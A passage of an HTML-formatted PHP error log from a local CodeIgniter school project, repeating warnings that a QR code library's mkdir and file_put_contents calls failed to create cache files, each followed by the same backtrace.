			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:50:55: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
